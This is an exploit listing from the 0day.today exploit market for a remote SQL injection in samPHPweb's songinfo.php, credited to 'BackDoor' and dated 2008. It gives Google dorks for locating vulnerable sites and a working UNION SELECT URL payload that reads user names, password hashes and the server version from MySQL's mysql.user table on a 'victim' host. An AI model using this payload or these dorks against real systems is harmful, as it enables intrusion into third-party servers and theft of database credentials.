[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

samPHPweb (songinfo.php) Remote SQL Injection Vulnerability

Author
BackDoor
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2442
Category
web applications
Date add
05-01-2008
Platform
unsorted
===========================================================
samPHPweb (songinfo.php) Remote SQL Injection Vulnerability
===========================================================



Title:samPHPweb (songinfo.php) Remote SQL Injection
Script:samPHPweb
Download:http://www.spacialaudio.com/download/samPHPweb.zip
Bug:songinfo.php
Author:BackDoor
Dork1:inurl:samPHPweb/playing.php
Dork2:This page was produced using SAM Broadcaster. © Copyright Spacial Audio Solutions, LLC 1999 - 2004.
Exploit:
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user




#  0day.today [2024-12-27]  #